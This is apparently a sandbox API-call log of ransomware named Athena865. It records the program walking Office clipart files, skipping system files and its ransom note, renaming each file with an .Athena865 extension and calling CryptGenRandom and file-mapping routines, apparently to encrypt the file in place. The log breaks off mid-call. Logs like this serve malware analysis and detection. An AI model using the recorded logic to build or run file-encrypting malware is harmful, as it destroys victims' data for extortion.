[0130.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0130.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0130.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0130.101] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0130.101] CloseHandle (hObject=0x154) returned 1 [0130.101] CloseHandle (hObject=0x17c) returned 1 [0130.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0130.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0130.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0130.101] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3658, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0292278.WMF", cAlternateFileName="")) returned 1 [0130.101] lstrcmpiW (lpString1="J0292278.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0130.101] lstrcmpiW (lpString1="J0292278.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0130.101] lstrcmpiW (lpString1="J0292278.WMF", lpString2=".") returned 1 [0130.102] lstrcmpiW (lpString1="J0292278.WMF", lpString2="..") returned 1 [0130.102] lstrcmpiW (lpString1="J0292278.WMF", lpString2="windows") returned -1 [0130.102] lstrcmpiW (lpString1="J0292278.WMF", lpString2="bootmgr") returned 1 [0130.102] lstrcmpiW (lpString1="J0292278.WMF", lpString2="temp") returned -1 [0130.102] lstrcmpiW (lpString1="J0292278.WMF", lpString2="pagefile.sys") returned -1 [0130.102] lstrcmpiW (lpString1="J0292278.WMF", lpString2="boot") returned 1 [0130.102] lstrcmpiW (lpString1="J0292278.WMF", lpString2="ids.txt") returned 1 [0130.102] lstrcmpiW (lpString1="J0292278.WMF", lpString2="ntuser.dat") returned -1 [0130.102] lstrcmpiW (lpString1="J0292278.WMF", lpString2="perflogs") returned -1 [0130.102] lstrcmpiW (lpString1="J0292278.WMF", lpString2="MSBuild") returned -1 [0130.102] lstrlenW (lpString="J0292278.WMF") returned 12 [0130.102] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0292278.WMF" | out: lpString1="J0292278.WMF") returned="J0292278.WMF" [0130.102] lstrlenW (lpString="J0292278.WMF") returned 12 [0130.102] lstrlenW (lpString="Athena865") returned 9 [0130.102] lstrcmpiW (lpString1="92278.WMF", lpString2="Athena865") returned -1 [0130.102] lstrlenW (lpString=".dll") returned 4 [0130.102] lstrcmpiW (lpString1="J0292278.WMF", lpString2=".dll") returned 1 [0130.102] lstrlenW (lpString=".lnk") returned 4 [0130.102] lstrcmpiW (lpString1="J0292278.WMF", lpString2=".lnk") returned 1 [0130.102] lstrlenW (lpString=".ini") returned 4 [0130.102] lstrcmpiW (lpString1="J0292278.WMF", lpString2=".ini") returned 1 [0130.102] lstrlenW (lpString=".sys") returned 4 [0130.102] lstrcmpiW (lpString1="J0292278.WMF", lpString2=".sys") returned 1 [0130.102] lstrlenW (lpString="J0292278.WMF") returned 12 [0130.103] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF.Athena865") returned 73 [0130.103] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf.athena865"), dwFlags=0x1) returned 1 [0130.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.104] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13912) returned 1 [0130.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.104] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.105] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.105] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.105] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3960, lpName=0x0) returned 0x154 [0130.107] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3960) returned 0x100000 [0130.108] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.109] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.109] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.109] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0130.109] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0130.109] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0130.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.109] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0130.109] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0130.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0130.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0130.109] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0130.110] CloseHandle (hObject=0x154) returned 1 [0130.110] CloseHandle (hObject=0x17c) returned 1 [0130.110] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0130.110] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0130.110] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0130.110] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b56, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0292286.WMF", cAlternateFileName="")) returned 1 [0130.110] lstrcmpiW (lpString1="J0292286.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0130.110] lstrcmpiW (lpString1="J0292286.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0130.110] lstrcmpiW (lpString1="J0292286.WMF", lpString2=".") returned 1 [0130.110] lstrcmpiW (lpString1="J0292286.WMF", lpString2="..") returned 1 [0130.110] lstrcmpiW (lpString1="J0292286.WMF", lpString2="windows") returned -1 [0130.110] lstrcmpiW (lpString1="J0292286.WMF", lpString2="bootmgr") returned 1 [0130.110] lstrcmpiW (lpString1="J0292286.WMF", lpString2="temp") returned -1 [0130.110] lstrcmpiW (lpString1="J0292286.WMF", lpString2="pagefile.sys") returned -1 [0130.110] lstrcmpiW (lpString1="J0292286.WMF", lpString2="boot") returned 1 [0130.111] lstrcmpiW (lpString1="J0292286.WMF", lpString2="ids.txt") returned 1 [0130.111] lstrcmpiW (lpString1="J0292286.WMF", lpString2="ntuser.dat") returned -1 [0130.111] lstrcmpiW (lpString1="J0292286.WMF", lpString2="perflogs") returned -1 [0130.111] lstrcmpiW (lpString1="J0292286.WMF", lpString2="MSBuild") returned -1 [0130.111] lstrlenW (lpString="J0292286.WMF") returned 12 [0130.111] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0292286.WMF" | out: lpString1="J0292286.WMF") returned="J0292286.WMF" [0130.111] lstrlenW (lpString="J0292286.WMF") returned 12 [0130.111] lstrlenW (lpString="Athena865") returned 9 [0130.111] lstrcmpiW (lpString1="92286.WMF", lpString2="Athena865") returned -1 [0130.111] lstrlenW (lpString=".dll") returned 4 [0130.111] lstrcmpiW (lpString1="J0292286.WMF", lpString2=".dll") returned 1 [0130.111] lstrlenW (lpString=".lnk") returned 4 [0130.111] lstrcmpiW (lpString1="J0292286.WMF", lpString2=".lnk") returned 1 [0130.111] lstrlenW (lpString=".ini") returned 4 [0130.111] lstrcmpiW (lpString1="J0292286.WMF", lpString2=".ini") returned 1 [0130.111] lstrlenW (lpString=".sys") returned 4 [0130.111] lstrcmpiW (lpString1="J0292286.WMF", lpString2=".sys") returned 1 [0130.111] lstrlenW (lpString="J0292286.WMF") returned 12 [0130.111] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF.Athena865") returned 73 [0130.111] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf.athena865"), dwFlags=0x1) returned 1 [0130.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.113] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19286) returned 1 [0130.113] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.113] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.113] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.113] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.114] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.114] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.114] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4e60, lpName=0x0) returned 0x154 [0130.116] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4e60) returned 0x100000 [0130.117] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.118] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.118] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.118] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0130.118] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0130.119] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0130.119] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.119] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0130.119] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0130.119] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0130.119] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.119] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0130.119] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0130.119] CloseHandle (hObject=0x154) returned 1 [0130.119] CloseHandle (hObject=0x17c) returned 1 [0130.119] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0130.119] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0130.120] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0130.120] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12a6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0293800.WMF", cAlternateFileName="")) returned 1 [0130.120] lstrcmpiW (lpString1="J0293800.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0130.120] lstrcmpiW (lpString1="J0293800.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0130.120] lstrcmpiW (lpString1="J0293800.WMF", lpString2=".") returned 1 [0130.120] lstrcmpiW (lpString1="J0293800.WMF", lpString2="..") returned 1 [0130.120] lstrcmpiW (lpString1="J0293800.WMF", lpString2="windows") returned -1 [0130.120] lstrcmpiW (lpString1="J0293800.WMF", lpString2="bootmgr") returned 1 [0130.120] lstrcmpiW (lpString1="J0293800.WMF", lpString2="temp") returned -1 [0130.120] lstrcmpiW (lpString1="J0293800.WMF", lpString2="pagefile.sys") returned -1 [0130.120] lstrcmpiW (lpString1="J0293800.WMF", lpString2="boot") returned 1 [0130.120] lstrcmpiW (lpString1="J0293800.WMF", lpString2="ids.txt") returned 1 [0130.120] lstrcmpiW (lpString1="J0293800.WMF", lpString2="ntuser.dat") returned -1 [0130.120] lstrcmpiW (lpString1="J0293800.WMF", lpString2="perflogs") returned -1 [0130.120] lstrcmpiW (lpString1="J0293800.WMF", lpString2="MSBuild") returned -1 [0130.120] lstrlenW (lpString="J0293800.WMF") returned 12 [0130.120] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0293800.WMF" | out: lpString1="J0293800.WMF") returned="J0293800.WMF" [0130.120] lstrlenW (lpString="J0293800.WMF") returned 12 [0130.120] lstrlenW (lpString="Athena865") returned 9 [0130.120] lstrcmpiW (lpString1="93800.WMF", lpString2="Athena865") returned -1 [0130.121] lstrlenW (lpString=".dll") returned 4 [0130.121] lstrcmpiW (lpString1="J0293800.WMF", lpString2=".dll") returned 1 [0130.121] lstrlenW (lpString=".lnk") returned 4 [0130.121] lstrcmpiW (lpString1="J0293800.WMF", lpString2=".lnk") returned 1 [0130.121] lstrlenW (lpString=".ini") returned 4 [0130.121] lstrcmpiW (lpString1="J0293800.WMF", lpString2=".ini") returned 1 [0130.121] lstrlenW (lpString=".sys") returned 4 [0130.121] lstrcmpiW (lpString1="J0293800.WMF", lpString2=".sys") returned 1 [0130.121] lstrlenW (lpString="J0293800.WMF") returned 12 [0130.121] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF.Athena865") returned 73 [0130.121] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf.athena865"), dwFlags=0x1) returned 1 [0130.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.122] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4774) returned 1 [0130.122] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.123] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.124] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.124] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.124] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15b0, lpName=0x0) returned 0x154 [0130.132] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15b0) returned 0x100000 [0130.133] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.133] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.133] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.134] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.134] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0130.134] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0130.134] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0130.134] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.134] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0130.134] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0130.134] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0130.134] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.134] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0130.134] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0130.135] CloseHandle (hObject=0x154) returned 1 [0130.135] CloseHandle (hObject=0x17c) returned 1 [0130.135] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0130.135] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0130.135] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0130.135] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17be, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0293832.WMF", cAlternateFileName="")) returned 1 [0130.135] lstrcmpiW (lpString1="J0293832.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0130.135] lstrcmpiW (lpString1="J0293832.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0130.135] lstrcmpiW (lpString1="J0293832.WMF", lpString2=".") returned 1 [0130.135] lstrcmpiW (lpString1="J0293832.WMF", lpString2="..") returned 1 [0130.135] lstrcmpiW (lpString1="J0293832.WMF", lpString2="windows") returned -1 [0130.135] lstrcmpiW (lpString1="J0293832.WMF", lpString2="bootmgr") returned 1 [0130.135] lstrcmpiW (lpString1="J0293832.WMF", lpString2="temp") returned -1 [0130.135] lstrcmpiW (lpString1="J0293832.WMF", lpString2="pagefile.sys") returned -1 [0130.135] lstrcmpiW (lpString1="J0293832.WMF", lpString2="boot") returned 1 [0130.135] lstrcmpiW (lpString1="J0293832.WMF", lpString2="ids.txt") returned 1 [0130.135] lstrcmpiW (lpString1="J0293832.WMF", lpString2="ntuser.dat") returned -1 [0130.135] lstrcmpiW (lpString1="J0293832.WMF", lpString2="perflogs") returned -1 [0130.135] lstrcmpiW (lpString1="J0293832.WMF", lpString2="MSBuild") returned -1 [0130.136] lstrlenW (lpString="J0293832.WMF") returned 12 [0130.136] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0293832.WMF" | out: lpString1="J0293832.WMF") returned="J0293832.WMF" [0130.136] lstrlenW (lpString="J0293832.WMF") returned 12 [0130.136] lstrlenW (lpString="Athena865") returned 9 [0130.136] lstrcmpiW (lpString1="93832.WMF", lpString2="Athena865") returned -1 [0130.136] lstrlenW (lpString=".dll") returned 4 [0130.136] lstrcmpiW (lpString1="J0293832.WMF", lpString2=".dll") returned 1 [0130.136] lstrlenW (lpString=".lnk") returned 4 [0130.136] lstrcmpiW (lpString1="J0293832.WMF", lpString2=".lnk") returned 1 [0130.136] lstrlenW (lpString=".ini") returned 4 [0130.136] lstrcmpiW (lpString1="J0293832.WMF", lpString2=".ini") returned 1 [0130.136] lstrlenW (lpString=".sys") returned 4 [0130.136] lstrcmpiW (lpString1="J0293832.WMF", lpString2=".sys") returned 1 [0130.136] lstrlenW (lpString="J0293832.WMF") returned 12 [0130.136] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF.Athena865") returned 73 [0130.136] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf.athena865"), dwFlags=0x1) returned 1 [0130.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.138] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6078) returned 1 [0130.138] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.139] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.139] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.139] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.140] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.140] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.140] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ac0, lpName=0x0) returned 0x154 [0130.141] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ac0) returned 0x100000 [0130.142] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.143] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.143] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.143] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.143] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0130.143] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0130.143] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0130.143] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.143] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0130.143] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0130.143] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, 